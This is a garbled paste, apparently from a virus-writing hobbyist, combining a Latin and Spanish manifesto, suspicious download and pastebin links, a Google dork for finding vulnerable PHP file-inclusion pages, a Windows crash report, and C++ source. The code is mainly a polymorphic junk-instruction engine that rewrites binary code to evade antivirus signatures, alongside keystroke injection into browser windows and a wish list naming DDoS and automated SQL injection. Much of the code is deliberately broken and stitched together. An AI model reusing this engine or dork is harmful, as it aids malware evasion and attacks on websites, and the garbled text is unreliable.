Love is free, so learn from it!adipiscing elit posuit im confundendi fasciculum eget edi, a multis modis ad hoc syntax percussa Dejo esto aquí para thoose que creen en el caos, y el libre intercambio de un profundo conocimiento y el respeto de no abusar del poder.****** transtulerunt servare occultum lateat.********************************************************************************************************
Note: http://tinyurl.com/mthmyhm
This is the most horrible thing I have ever whitnessed, and its consentual and they enjoy it! http://alturl.com/mmz7m http://tinyurl.com/mfqwo74 http://tinyurl.com/mthmyhm http://pastebin.com/pcnXjK93
/********************************************************************************************************************************************** 7ysk17
/adipiscing elit posuit im confundendi fasciculum eget edi, a multis modis ad hoc syntax percussa.********************************************* 77ysk1
/Hic chaos fidelibus verba hæc facio et scientiæ liberi, et non secundum potentiam, blasphemantes. ******************************************** 177ysk
/transtulerunt servare occultum lateat.******************************************************************************************************** k177ys
/********************************************************************************************************************************************** sk177y
/Y poner esto aquí por un montón de basura desordenadas, Tiene que ser editado, hay muchas maneras de ser que tienen esta bombardeado por la sintaxis.
/Dejo esto aquí para thoose que creen en el caos, y el libre intercambio de un profundo conocimiento y el respeto de no abusar del poder.****** ysk177
/mantenerlo oculto mantenerlo copiado.********************************************************************************************************* 7ysk17
/********************************************************************************************************************************************** 77ysk1
/********************************************************************************************************************************************** 177ysk
/********************************************************************************************************************************************** k177ys
/********************************************************************************************************************************************** sk177y
http://pastebin.com/eeJm3san
//tag.vidtur.hiro.tv
http://pastebin.com/its0QkxH
//redir.adap.tv
//http://pastebin.com/eejm3san
/ / Tag.vidtur.hiro.tv
/ / Redir.adap.tv
/ / Http://pastebin.com/eejm3san
VK_NUMPAD7
//http://msdn.microsoft.com/en-us/library/ms927178.aspx
0x67
VK_BACK
//https://anonfiles.com/file/fe28d10fe8fe5ac1d565779391eeccfe
0x08
https://anonfiles.com/file/cb19ac82a828972d77d1c4fde7dd6972
VK_NUMPAD6
0x66
*//*http://webcache.googleusercontent.com/search?q=cache:6GGasRVVK2AJ:www.com/search.php%3Fuid%3Dwww50f0dfe6d594a1.55763672+&cd=2&hl=en&ct=clnk&gl=us
/*177ysk presents the giant dork robotobor\n
/*special thanks and shouts outs to rohitab, anonymous, vxchaos, vx.netlux.org, \n
/*Dark Avenger, second part to hell, RRLF, chatbootz, z0mbie, LoX, and of course\n
/* H3rm1t, I had only been interested in vx coding with no drive until I learned\n
/* the horrors of what happened to him due to freely distributed educational materials\n
/*I claim no liability or warranty for the use of this code\n
/*, it is intended to have many errors. \n
/*suggestions=captcha reader, libcurl, netinet.h, \n
/*haddr->change_IP, DDoS, DoS, dos.h mouse and \n
/*keyboardfunctions, infosecsuite, actual automated SQLi\n
/* happy coding, lost lots of string errors and such, enjoy!\n
http://pastebin.com/0FqmasC7
http://www.google.com/search?client=ms-android-virgin-us&hl=en&source=android-launcher-widget&v=133247963&ei=AKyfUs2vB8jNsASO8IEQ&q=inurl%3A%22wp-*.php%3F*%3D*.php%22+inurl%3A%22*.php%3F*%3D*.php%22+-intext%3A%22warning%3A+include%22+-inurl%3A.html+-site%3A%22php.net%22+-site%3A%22stackoverflow.com%22+-site%3A%22rohitab.com%22+-inurl%3A%22*forums*%22+&oq=inurl%3A%22wp-*.php%3F*%3D*.php%22+inurl%3A%22*.php%3F*%3D*.php%22+-intext%3A%22warning%3A+include%22+-inurl%3A.html+-site%3A%22php.net%22+-site%3A%22stackoverflow.com%22+-site%3A%22rohitab.com%22+-inurl%3A%22*forums*%22+&gs_l=mobile-gws-serp.12...10284.73206.0.96433.27.24.0.1.1.5.313.3600.3j9j6j1.19.73266....0...1c.1j5.32.mobile-gws-serp..17.10.1826.4xfovk1Anw4
http://ocw.mit.edu/courses/biological-engineering/20-180-biological-engineering-programming-spring-2006/lecture-notes/20_180_devices.pdf
http://specialcollections.nal.usda.gov/speccoll/collectionsguide/darrow/Darrow_TheStrawberry.pdf___&ei=qbCWUtq-GYnskQfU24HgAw&usg=AFQjCNESvQ_WTciG004SmRBzPLVTHz2Z_A
https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&cad=rja&ved=0CDMQFjAB&url=http%3A%2F%2Fopenwetware.org%2Fwiki%2FBE.180&ei=MrKWUprIOIyrkQep9IHgCQ&usg=AFQjCNHx-REXmkjMKumVsp17ZCeFmVvzKg&bvm=bv.57155469,d.eW0
http://zerofreak.blogspot.com/2012/01/chapter2-basic-sql-injection-with-login.html
http://www.red-database-security.com/whitepaper/oracle_sql_injection_web.html
https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&cad=rja&ved=0CDEQFjAB&url=https%3A%2F%2Fwww.facebook.com%2FVxChaos.6x.to&ei=PDuXUt_RLszKkAfBxYC4Dg&usg=AFQjCNGJBbmsQp1_iu4zJiLs5L5ahH9SpA&bvm=bv.57155469,d.eW0
Problem signature:
Problem Event Name: BlueScreen
OS Version: 6.1.7601.2.1.0.768.3
Locale ID: 1033
Additional information about the problem:
BCCode: f4
BCP1: 00000003
BCP2: 85713530
BCP3: 8571369C
BCP4: 82C26EB0
OS Version: 6_1_7601
Service Pack: 1_0
Product: 768_1
@mailinator.com
Files that help describe the problem:
https://www.google.co.uk/m/search?client=ms-nokia&channel=proxy&q=lol.com
C:\Windows\Minidump\112713-25818-01.dmp
C:\Users\44445\AppData\Local\Temp\WER-22939-0.sysdata.xml
http://vx.comlu.com/browse.php?u=1OkiL%ff2Bd5uQJXjJNqjR0zkQt3hNcEPZhruSpenN%2FrAUVJUX6Hny36cW1oiN24%FF%3D&b=29
Read our privacy statement online:
http://go.microsoft.com/fwlink/?linkid=104288&clcid=0x0409
http://0.0.0.12/#//0.0.0.2/
If the online privacy statement is not available, please read our privacy statement offline:
C:\Windows\system32\en-US\erofflps.txt
http://www.red-database-security.com/whitepaper/oracle_sql_injection_web.html
http://s.ytimg.com/yts/swfbin/watch_as3-vflGg02FS.swf
https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=439&cad=rja&ved=0CD8QFjAIOK4D&url=http%3A%2F%2Fswks.craigslist.org%2Fcas%2F4227322603.html&ei=Qr2zUtTeBKKv2QXdn4C4Dg&usg=AFQjCNElS5qIxgBu1DrcrVrDw8yc-DqSTA
1AWqYR4CCP5j9GEqMNk8b3ZNPPfG5Jniu1
http://1337day.com/exploit/21482
http://pastebin.com/0FqmasC7
http://www.anoniem.org/?http://wiki.dmt-nexus.com/The_Nexian_DMT_Handbook
http://pastebin.com/x1rtqktj
//http://codepad.org/R9BYaOuk
//.//9.http://www.file-upload.net/download-4024445/FaceHacker-.-v.2.4.rar.html
//http://vx.comlu.com/ques.htm
inurl:"wp-*.php?*=*.php" inurl:"*.php?*=*.php" -intext:"warning: include" -inurl:.html -site:"php.net" -site:"stackoverflow.com" -site:"rohitab.com" -inurl:"*forums*"
*/
#include <stdio.h>
#include <cstring>
#include <sstream>
#include<windows.h>
#include <winsock2.h>
#include <ws2tcpip.h> /*IP_HDRINCL*/
#include <wininet.h> /*InternetGetConnectedState*/
#include<iostream>
#include<ctime>
#include <iterator>
#include <stdlib.h>
#include <fstream>
#include <ctype.h>
#include <vector>
#include <locale>
#include <cstdlib>
#include <cmath>
#include <queue>
#include <dir.h>
#include <dirent.h>
#include <winable.h>
#include <winuser.h>
#include <conio.h>//http://issuu.com/
#include <fcntl.h>
#include<errno.h>
//#include <sysstat.h>
#include <iostream>
#include <string>
#include <fstream>
#include <windows.h>
#include <cstdio>
#include <iostream>
using namespace std;
//#include "littlepain.h"
#include <mmsystem.h>//http://www.cplusplus.com/forum/beginner/104426/
#include <io.h>
#include<dos.h>
#include <algorithm>
#include <cctype>//dahmer@vxheaven.org
#include <time.h>//me a4485925zzl420.h
#pragma lib(lib,"ws2_32.lib")
#pragma lib(lib,"wininet.lib")//fdb7c13cbe6a46edf68f9689f7c4dd79
#define MB 1024*1024
#define JUNK (PUSH,NOP,NOP,NOP,NOP,NOP,NOP,NOP,NOP,POP)
#define SMURF (U,NOP,NOP,BITE,NOP,JMP,T,G,C,A,MBP,NOP,SP,NOP,SP,NOP,NOP,BITE,NOP,PBM,NOP,PEP)
#define JUNKLEN 8
#define SMURFEN 10
#define A 0x41//INC ECX
#define PUSH 0x50//eax
#define POP 0x58//pop eax
#define T 0x54//push esp
#define G 0x47//0X47=INC EDI
#define C 0x43//INC EBX
#define U 0x55//55=push ebp==U
#define POX 0x5A///0x5A=pop edx
#define PEP 0x5D//5d=pop ebp==]
#define MOV 0xB8//eax
#define MBP 0x89//89e5 mov ebp,esp
#define PBM 0x8B//8be5 mov esp,ebp
#define ESP 0xE5//E5=esp
#define JMP 0xE9//e9=4hex or8##{4NOP}
#define EAX 0xC0//c0=eax,c1
#define NOP 0x90
#define ADD 0x01
#define AND 0x21
#define SP 0x66
#define XOR 0x31//31c0=xor eax,eax
#define OR 0x09
#define SBB 0x19
#define SUB 0x29//29c0=sub eax,eax
#define BITE 0x6A//6a=push byte
#define Fail1 &&Fail
#define Fail2 Fail1,Fail1
#define Fail4 Fail2,Fail2
#define Fail8 Fail4,Fail4
#define Fail16 Fail8,Fail8
#define Fail32 Fail16,Fail16
#define Fail64 Fail32,Fail32
#define Fail128 Fail64,Fail64
#define Fail256 Fail128,Fail128
#define Newc1 &&Newc
#define Newc2 Newc1,Newc1
#define Newc4 Newc2,Newc2
#define Newc8 Newc4,Newc4
#define Newc16 Newc8,Newc8
#define Newc32 Newc16,Newc16
#define Newc64 Newc32,Newc32
#define Newc128 Newc64,Newc64
#define Newc256 Newc128,Newc128
#define Table_a1 {&&Nofnd,Newc1,Newc2,Newc4,Newc8,Newc16,Newc64,Newc1,&&Succ,Newc2,Newc4,Newc8,Newc16,Newc128}
#define Table_a {Fail64,Fail32,Fail1,&&Succ,Fail2,Fail4,Fail8,Fail16,Fail128}
#define Table_b {Fail64,Fail32,Fail2,&&Succ,Fail1,Fail4,Fail8,Fail16,Fail128}
#define Table_b1 {Fail64,Fail32,Fail2,&&Ret,Fail1,Fail4,Fail8,Fail16,Fail128}
#define Table_c {Fail64,Fail32,Fail2,Fail1,&&Succ,Fail4,Fail8,Fail16,Fail128}
using namespace std;//"MZ `è f]fƒí j gfE*fPgfE0fPj f¸ÌÌ fÿÐahÌÌÃo *`è f]fƒí j gfE*fPgfE0fPj f¸ÌÌ\"
char *code; int codelen;// unsigned reg;
string website_HTML;//buffer
static double d,dd;//PE*MZ*`è f]fƒí j gfE)fPgfE.fPj f¸ÿÿ fÿÐajÿÃPE*\ MZ*\
int nCounter = 0;int y=0;//`è f]fƒí j gfE*fPgfE/fPj f¸êê fÿÐahêêÃPE*\ MZ*\
//
std::string buff;//MZÃ
locale local;//PE* L MZ*Ã
std::vector<std::string> extracted_website_URL;//buffer
const char prefixes[] = { A,T,G,C,U,SP,BITE,JMP,MBP,PBM,PEP,ADD,AND,XOR,OR,SBB,SUB,0 };//const unsigned
char perm[256]={0xEA,0x82,0x63,0xAE,0xA3,0x8C,0x66,0x49,0xF3,0x01,0x67,0x06,0x12,0xC7,0xB6,0xB2,0x07,0xEF,0x1C,0xC1,0x75,0xFD,0x17,0x3E,0xE0,0xFE,0x3D,0xCA,0x1E,0xDD,0x1A,0x95,0xB5,0xC0,0xB7,0xF8,0x9D,0x1F,0xE2,0x2F,0x91,0x43,0x6F,0xBF,0xAF,0x9F,0xFA,0xA6,0xCD,0x5F,0x51,0x60,0x65,0x8F,0xFF,0xF9,0xBB,0x99,0x4D,0x59,0xF1,0x69,0x74,0xD0,0x2E,0xF0,0x6C,0x2A,0xC4,0xB3,0x7F,0xB0,0x24,0x80,0x71,0x0A,0x30,0x96,0x76,0x6A,0x3F,0x7A,0x89,0x21,0x97,0xCF,0x37,0xF2,0xDF,0x34,0xBE,0x3B,0x14,0x0B,0xEE,0x10,0x04,0x11,0x4E,0x46,0x86,0x0C,0x57,0x47,0xA2,0xE6,0xE1,0x4F,0xA9,0xCE,0xC6,0xDA,0x7D,0x2B,0x53,0XD8,0x28,0X4B,0x7B,0x25,0xDE,0xEC,0x1D,0x9C,0xA4,0x8B,0x6E,0x55,0x8E,0x39,0x5D,0x4A,0x38,0xA8,0x35,0xF6,0x13,0x1B,0xFB,0x32,0x83,0x78,0x5A,0x61,0x9A,0x88,0x50,0x23,0xB8,0x40,0xFC,0x27,0xF7,0x42,0x68,0xCB,0x54,0x56,0x09,0xBA,0x31,0x8A,0xD4,0x18,0xD5,0x5B,0xE4,0xAC,0x02,0xB9,0x81,0xAA,0x2C,0x3A,0x00,0xA7,0xD1,0xC3,0xA1,0x70,0xF4,0x9B,0x77,0xC5,0xC9,0x9E,0x79,0x6D,0x0F,0xC8,0xAD,0x4C,0x3C,0x5C,0x41,0x85,0x58,0xDB,0x8D,0x62,0xE5,0x90,0xD7,0x0E,0xCC,0x03,0xAB,0x93,0x15,0x48,0xE8,0x08,0x29,0xBC,0x7C,0x44,0x92,0x7E,0xD2,0xA5,0xEB,0xB4,0xD9,0x36,0x26,0xA0,0x22,0x64,0xE3,0xE7,0xB1,0x33,0xC2,0x73,0x87,0x19,0x45,0xD3,0x05,0xF5,0x2D,0x72,
0x5E,0x94,0xE9,0xED,0x98,0xDC,0xD6,0x16,0xBD,0x20,0x6B,0x84,0x52,0x0D};
char hexToAscii(char first, char second){
char hex[5], *stop;
hex[0] = '0';
hex[1] = 'x';
hex[2] = first;
hex[3] = second;
hex[4] = 0;SMURF;SMURF;SMURF;SMURF;JUNK;JUNK;SMURF;//PEÃ
return strtol(hex, &stop, 16);
}
const char*nom(){ char EA[]={'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
const char* st = "559E1B295A9081C45A";
string v;v+=hexToAscii(EA[rand()%15],EA[rand()%15]);SMURF;SMURF;SMURF;SMURF;
v+="adn.exe";
cout<<v;return v.c_str();}
long Search(char * Str)
{
static long FailState[6] = {0, 0, 0, 1, 2, 0};
static void * Filter[6][256] = { Table_a1,Table_b,Table_a,Table_b,Table_c,Table_b1 };
long p=-1;
long s=0;
Newc:
p++; JUNK;
goto * Filter[s][Str[p]];
Fail:
s = FailState[s]; JUNK;
goto * Filter[s][Str[p]];
Succ:
s++; JUNK;
p++; JUNK;
goto * Filter[s][Str[p]];
Ret:
return p-5;
Nofnd:
return -1;
}
void readcode(const char *filename) {
FILE *fp = fopen(filename, "rb"); SMURF;
fseek(fp, 0L, SEEK_END); SMURF;
codelen = ftell(fp);
/*code = malloc(codelen);*/code= new char[codelen]; SMURF;
fseek(fp, 0L, SEEK_SET);
fread(code, codelen, 1, fp); SMURF;
}
void writecode(const char *filename) {
FILE *fp;
fp = fopen(filename, "wb"); SMURF;
fwrite(code, codelen, 1, fp); SMURF;
fclose(fp);SMURF;
// free(filename);
}
int writeSMURstruction(unsigned reg, int offset, int space) {
if (space < 2) {
code[offset] = SP; SMURF;
return 1;
}
else if (space < 5 || rand()%2 == 0) {
code[offset] = prefixes[rand()%17]; SMURF;
code[offset+1] = 0xC0 + rand()%8*8 + reg; SMURF;
return 2;
}
else {
code[offset] = MOV+reg; SMURF;
*(short*)(code+offset+1) = rand();
*(short*)(code+offset+3) = rand(); SMURF;
return 5;
}
}
int readSMURstruction(unsigned reg, int offset) {
unsigned c1 = code[offset];
if (c1 == SP)
return 1; SMURF;
if (c1 == MOV+reg)
return 5; SMURF;
if (strchr(prefixes,c1)) {
unsigned c2 = code[offset+1]; SMURF;
if (c2 >= 0xC0 && c2 <= 0xFF && (c2&7) == reg)
return 2; SMURF;
} SMURF;
return 0;
}
void replaceSMURF(char*code) {
int i, j, inc, space;
srand(time(NULL)); SMURF;
for (i = 0; i < codelen-SMURFEN-2; i++) {
unsigned start = code[i];
unsigned end = code[i+SMURFEN+1];
unsigned reg = start-U;
if (start < U || start >= U+8) continue; SMURF;
if (end != PEP+reg) continue; SMURF;
if (reg == 4) continue; /* register 4 is ESP */
j = 0; SMURF;
while (inc = readSMURstruction(reg,i+1+j)) j += inc;
if (j != SMURFEN) continue; SMURF;
reg = rand()%17; SMURF;//gggggg
reg += (reg >= 4);
code[i] = U+reg; SMURF;
code[i+SMURFEN+1] = PEP+reg; SMURF;
space = SMURFEN;
j = 0; SMURF;
while (space) {
inc = writeSMURstruction(reg,i+1+j,space); SMURF;
j += inc;
space -= inc; SMURF;
}
printf("%d\n",i); fputc(code[i], stdout); JUNK;SMURF;
}
}
/* print all unique permutations of some code. */
void/*char*/ PERSMUR(int offset, int* offsets, char* code, int codelen)
{ int i, j, inc, space;
if (offset < codelen) {
char c;
int j; SMURF;
srand(time(NULL)); SMURF;
for (; i < codelen-SMURFEN-2; i++) {
unsigned start = code[i];
unsigned end = code[i+SMURFEN+1];
unsigned reg = start-U;
if (start < U || start >= U+8) continue; SMURF;
if (end != PEP+reg) continue; SMURF;
if (reg == 4) continue; /* register 4 is ESP */
j = 0; SMURF;
/* iterate over all possible digit offsets. */
// for (i=0; i < codelen; i++) {
c=code[i]; SMURF;
/* ignore if an offset further left points to our
location or to the right, with an identical digit.
This avoids duplicates. */
for (; j < offset; j++) {
if ((offsets[j] >= i) &&
(code[offsets[j]] == c)) {
break;
}
}
/* nothing found. */
if (j == offset) {
/* remember current offset. */
offsets[offset]=i;
/* permute remaining code. */
PERSMUR(offset+1, offsets, code, codelen);
}
}
} else {
/* print current permutation. */
for (i=0; i < codelen; i++) {
///////
unsigned start = code[i];
// unsigned end = code[i+SMURFEN+1];
unsigned reg = start-U;
while (inc = readSMURstruction(reg,i+1+j)) j += inc;
if (j != SMURFEN) continue; SMURF;
reg = rand()%7; SMURF;
reg += (reg >= 4);
code[offsets[i]] = U+reg; SMURF; // code[offsets[i]]
code[offsets[i+SMURFEN+1]] = PEP+reg; SMURF;
space = SMURFEN;
j = 0; SMURF;
while (space) {
inc = writeSMURstruction(reg,i+1+j,space); SMURF;
j += inc;
space -= inc; SMURF;
}
printf("%d\n",i); SMURF;
fputc(code[offsets[i]], stdout); SMURF;
}
// fputc('\n', stdout); SMURF;
}
/* return code; SMURF;*/
}
int writeinstruction(unsigned reg, int offset, int space) {
if (space < 2) {
code[offset] = NOP; JUNK;
return 1;
}
else if (space < 5 || rand()%2 == 0) {
code[offset] = prefixes[rand()%6]; JUNK;
code[offset+1] = 0xC0 + rand()%8*8 + reg; JUNK;
return 2;
}
else {
code[offset] = MOV+reg; JUNK;
*(short*)(code+offset+1) = rand();
*(short*)(code+offset+3) = rand(); JUNK;
return 5;
}
}
int readinstruction(unsigned reg, int offset) {
unsigned c1 = code[offset];
if (c1 == NOP)
return 1; JUNK;
if (c1 == MOV+reg)
return 5; JUNK;
if (strchr(prefixes,c1)) {
unsigned c2 = code[offset+1]; JUNK;
if (c2 >= 0xC0 && c2 <= 0xFF && (c2&7) == reg)
return 2; JUNK;
} JUNK;
return 0;
}
void replacejunk(char*code) {
int i, j, inc, space;
srand(time(0)); JUNK;
for (i = 0; i < codelen-JUNKLEN-2; i++) {
unsigned start = code[i];
unsigned end = code[i+JUNKLEN+1];
unsigned reg = start-PUSH;
if (start < PUSH || start >= PUSH+8) continue; JUNK;
if (end != POP+reg) continue; JUNK;
if (reg == 4) continue; /* register 4 is ESP */
j = 0; JUNK;
while (inc = readinstruction(reg,i+1+j)) j += inc;
if (j != JUNKLEN) continue; JUNK;
reg = rand()%7; JUNK;
reg += (reg >= 4);
code[i] = PUSH+reg; JUNK;
code[i+JUNKLEN+1] = POP+reg; JUNK;
space = JUNKLEN;
j = 0; JUNK;
while (space) {
inc = writeinstruction(reg,i+1+j,space); JUNK;
j += inc;
space -= inc; JUNK;
}
printf("%d\n",i); JUNK;
fputc(code[i], stdout); JUNK;
}
}
/* print all unique permutations of some code. */
void/*char*/ permute2(int offset, int* offsets, char* code, int codelen)
{ int i, j, inc, space;
if (offset < codelen) {
char c;
int j; JUNK;
srand(time(NULL)); JUNK;
for (; i < codelen-JUNKLEN-2; i++) {
unsigned start = code[i];
unsigned end = code[i+JUNKLEN+1];
unsigned reg = start-PUSH;
if (start < PUSH || start >= PUSH+8) continue; JUNK;
if (end != POP+reg) continue; JUNK;
if (reg == 4) continue; /* register 4 is ESP */
j = 0; JUNK;
/* iterate over all possible digit offsets. */
// for (i=0; i < codelen; i++) {
c=code[i]; JUNK;
/* ignore if an offset further left points to our
location or to the right, with an identical digit.
This avoids duplicates. */
for (; j < offset; j++) {
if ((offsets[j] >= i) &&
(code[offsets[j]] == c)) {
break;
}
}
/* nothing found. */
if (j == offset) {
/* remember current offset. */
offsets[offset]=i;
/* permute remaining code. */
permute2(offset+1, offsets, code, codelen);
}
}
} else {
/* print current permutation. */
/**
* \brief Apply the ROT13 algorithm to a string.
* \param source Source text to apply the algorithm to.
* \return The transformed text is returned.
*/
std::string ROT13(std::string source)
{
std::string transformed;
for (size_t i = 0; i < source.size(); ++i) {
if (isalpha(source[i])) {
if ((tolower(source[i]) - 'a') < 14)
transformed.append(1, source[i] + 13);
else
transformed.append(1, source[i] - 13);
} else {
transformed.append(1, source[i]);
}
}
return transformed;
}
//http://vx.comlu.com/ques.htm
std::string sensetoanti(std::string input,int type,int length){
for (int i=0;i<length;){ if(type==0){
if (input[i]=='a'||input[i]=='A'){input[i]='T';i++;}
if (input[i]=='t'||input[i]=='T'){input[i]='A';i++;}
if (input[i]=='u'||input[i]=='U'){input[i]='A';i++;}
if (input[i]=='g'||input[i]=='G'){input[i]='C';i++;}
if (input[i]=='c'||input[i]=='C'){input[i]='G';i++; }
//else{i++;}
}else if(type!=0){
if (input[i]=='a'||input[i]=='A'){input[i]='U'; i++;}
if (input[i]=='u'||input[i]=='U'){input[i]='A';i++;}
if (input[i]=='t'||input[i]=='T'){input[i]='A';i++;}
if (input[i]=='g'||input[i]=='G'){input[i]='C';i++;}
if (input[i]=='c'||input[i]=='C'){input[i]='G';i++;}
//else{i++;}
}}return input;}
char * histone(char * file){
fstream ff;
ff.open(file,ios::in|ios::out|ios::app|ios::binary);
ff<<0x55<<0x66<<0x66<<0xff<<0x00<<0xa5;
ff.close(); return file;
}
void na(char*file,char*input, int rna){
fstream fle;char*transfer;
long begin,end;
begin= fle.tellg();
fle.seekg (0, ios::end);
end = fle.tellg(); fle.close();
cout << "size is: " << (end-begin) <<"bytes\n";
fle.open(file,ios::in|ios::out|ios::binary|ios::app);
fle<<sensetoanti(input,rna,sizeof(input));
fle.close();
}
BOOL CALLBACK SearchProc(HWND hWnd, LPARAM lParam)
{
int nLen = GetWindowTextLength(hWnd);
LPSTR lpszTitle = new CHAR[nLen + 1];
GetWindowText(hWnd, lpszTitle, nLen);
//cout << "Looking at window: " << lpszTitle << endl;
if(strstr(lpszTitle, "Mozilla")){
SetForegroundWindow(hWnd);
keybd_event(VK_LCONTROL, 0x1d,0 , 0); //ctrl Press
keybd_event(VkKeyScan('T'), 0x14,0 , 0); // 'T' Press
keybd_event(VkKeyScan('T'), 0x94, KEYEVENTF_KEYUP, 0); // 'T' Release
keybd_event(VK_LCONTROL, 0x9d, KEYEVENTF_KEYUP, 0); // Ctrl Release
cout << "Found window: " << lpszTitle << endl;
Sleep(1000);
delete lpszTitle;
return TRUE;
}
delete lpszTitle;
return TRUE;
}
/*/*//*/*//*/*//*/*//*/*//*/*//*/*//*/*//*/*/
int main(int*argv[], char*argc) {
std::string source;
std::cout << "Enter the source text: " << std::flush;
std::getline(std::cin, source);
source+="tataa";
std::cout << "Result: " << ROT13(source) << std::endl;
//http://vx.comlu.com/sploit.htm
std::string bz= "tataacataatataatacaatat";//pallindrome!
std::string bb= "uatuaguaatta";
//na(argc,bz,2);
//histone(argc);
sensetoanti(bz,0,23);cout<<bz;sensetoanti(bz,2,23);
cout<<bz;ROT13(bz); cout<<bz;
sensetoanti(bb,0,12);cout<<bb;sensetoanti(bb,2,12);
cout<<argc;cout<<bb;sensetoanti(bb,2,12);cout<<bb;
// keybd_event(VK_MENU,0xb8,0 , 0); //Alt Press
// keybd_event(VK_TAB,0x8f,0 , 0); // Tab Press
// keybd_event(VK_TAB,0x8f, KEYEVENTF_KEYUP,0);
// Tab Release
// keybd_event(VK_MENU,0xb8,KEYEVENTF_KEYUP,0);
// Alt Release
//
// Sleep(10000); //wait 10 seconds
//
// keybd_event(VK_MENU,0xb8,0 , 0); //Alt Press
// keybd_event(VK_TAB,0x8f,0 , 0); // Tab Press
// keybd_event(VK_TAB,0x8f, KEYEVENTF_KEYUP,0); // Tab Release
// keybd_event(VK_MENU,0xb8,KEYEVENTF_KEYUP,0); // Alt Release
//
// char c = getchar();
// cout << "Char was: " << c << endl;
char con[120];
GetConsoleTitle(con,sizeof(con));
HWND hwndConsole = FindWindow(NULL,con);
EnumWindows(SearchProc, NULL);
Sleep(1000);
SetForegroundWindow(hwndConsole);
cout << "press enter to exit program..." << endl;
getchar();
ShellExecute(NULL, "open",
"mailto:someone@somewhere.com?Subject=Hello, world&body=The email sent from ShellExecute",
NULL,NULL,SW_SHOWNORMAL);
x = (65536 / 1920) * i - 1;
y = (65536 / 1080) * i - 1;
mouse_event(MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE, x, y, 0, 0);
GetCursorPos(&pt);
return 0;
}
//http://vx.comlu.com/gly.php
/******************************************************************
leer idiota http://vx.comyr.com/
******************************************************************/
#include <iostream>
#include <string>
#include <sstream>
#include <fstream>
int main(){
//load the text file and put it into a single string:
std::ifstream in("test.txt");
std::stringstream buffer;
buffer << in.rdbuf();
std::string test = buffer.str();
std::cout << test << std::endl << std::endl;
//create variables that will act as "cursors". we'll take everything between them.
size_t pos1 = 0;
size_t pos2;
//create the array to store the strings.
std::string str[4];
for (int x=0; x<=3; x++){
pos2 = test.find("|", pos1); //search for the bar "|". pos2 will be where the bar was found.
str[x] = test.substr(pos1, (pos2-pos1)); //make a substring, wich is nothing more
//than a copy of a fragment of the big string.
std::cout << str[x] << std::endl;
std::cout << "pos1:" << pos1 << ", pos2:" << pos2 << std::endl;
pos1 = pos2+1; // sets pos1 to the next character after pos2.
//so, it can start searching the next bar |.
}
}
keybd_event(VK_LCONTROL, 0x1d,0 , 0); //ctrl Press
keybd_event(VK_SNAPSHOT, 0x2C,0 , 0);//print screen
//http://www.mpgh.net/forum/31-c-c-programming/470516-release-polymorphic-engine-micro-//assembler.html
//http://www.mpgh.net/forum/31-c-c-programming/470516-release-polymorphic-engine-micro-//assembler.html
//http://www.mpgh.net/forum/31-c-c-programming/470516-release-polymorphic-engine-micro-//assembler.html
//http://www.mpgh.net/forum/31-c-c-programming/470516-release-polymorphic-engine-micro-//assembler.html
//http://www.mpgh.net/forum/31-c-c-programming/470516-release-polymorphic-engine-micro-//assembler.html
//http://www.mpgh.net/forum/31-c-c-programming/470516-release-polymorphic-engine-micro-//assembler.html
//https://www.piratepad.ca/p/USexQRyftt
/*
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
// error() reports an error then exits program
void error(const char *err) {
perror(err);
exit(1);
}
int main(int argc, char **argv) {
int z,x;
struct sockaddr_in serverAddress; // AF_INET family (like Momma's family)
struct sockaddr_in clientAddress; // AF_INET family
unsigned short portNumber; // Port Number for server
FILE *rStream = NULL; // Read Stream
FILE *wStream = NULL; // Write Stream
int s; // Socket
int c; // Client Socket
char buf[4096]; // I/O Buffer
socklen_t addrlen; // for accept(2) when using g++ compiler
// Check for correct argument usage
if(argc != 2) {
fprintf(stderr,"Usage: %s <Port Number>\n", argv[0]);
exit(1);
}
// Assign supplied argument as Port Number
portNumber = atoi(argv[1]);
// Create a TCP/IP socket to use:
if((s = socket(PF_INET,SOCK_STREAM,0)) == -1)
error("socket(2)");
// Fill in local address structure (that'd be our server address)
memset(&serverAddress, 0, sizeof(serverAddress)); // Clear out structure
serverAddress.sin_family = AF_INET; // Internet address family
serverAddress.sin_addr.s_addr = htonl(INADDR_ANY); // Any incomming interface
serverAddress.sin_port = htons(portNumber); // Local port to use
// Bind to the server address:
if((z = bind(s,(struct sockaddr *)&serverAddress,sizeof(serverAddress))) == -1)
error("bind(2)");
// Make it a listening socket:
if((z = listen(s,10)) == -1)
error("listen(2)");
// The server loop:
for(;;) {
// Wait for a connection:
addrlen = sizeof(clientAddress);
if((c = accept(s,(struct sockaddr *)&clientAddress,&addrlen)) == -1)
error("accept(2)");
// Thr read stream is where the clients requests are going
// to becomming in through (don't mix them up)
// create read stream:
if(!(rStream = fdopen(c,"r"))) {
close(c);
continue;
}
// The write stream is where you are going to print your
// messages (like requests) to the client (don't mix them up)
// create write stream
if(!(wStream = fdopen(dup(c),"w"))) {
fclose(rStream);
continue;
}
// Set both streams to line buffered mode:
setlinebuf(rStream);
setlinebuf(wStream);
printf("---------------------------------\n");
printf("Put a telnet message here for fun\n");
printf("---------------------------------\n");
// ------------------------NOTE TO READERS---------------------------
// This is the main workhorse of the code. This takes requests from
// the client through the read stream rStream. You then can process these
// 'requests' (i.e., sent text, etc.) as a 'char buf[]' (i.e, string).
// Below: process 1 echo's sent command, process 2 prints stringlen,
// and the last one goes through buf on by one printing the chars.
// Enjoy making creative ways to process buf from different clients!
// ------------------------------------------------------------------
// Process client's requests:
while(fgets(buf,sizeof buf,rStream)) {
printf("\necho: %s",buf); //---- Process 1
printf("\nsize: %d",strlen(buf)); //---- Process 2
for(x=0;x<strlen(buf);x++) //---- Process 3
printf("\n%c",buf[x]);
}
// Close client's connection
fclose(wStream);
shutdown(fileno(rStream),SHUT_RDWR);
fclose(rStream);
}
// If control gets here there's a major problem with time/space
return 0;
}
*/
lol:
/*
<!
DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<
html>
<head>
<link rel="stylesheet" type="text/css" href="ErrorPageTemplate.css" >
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
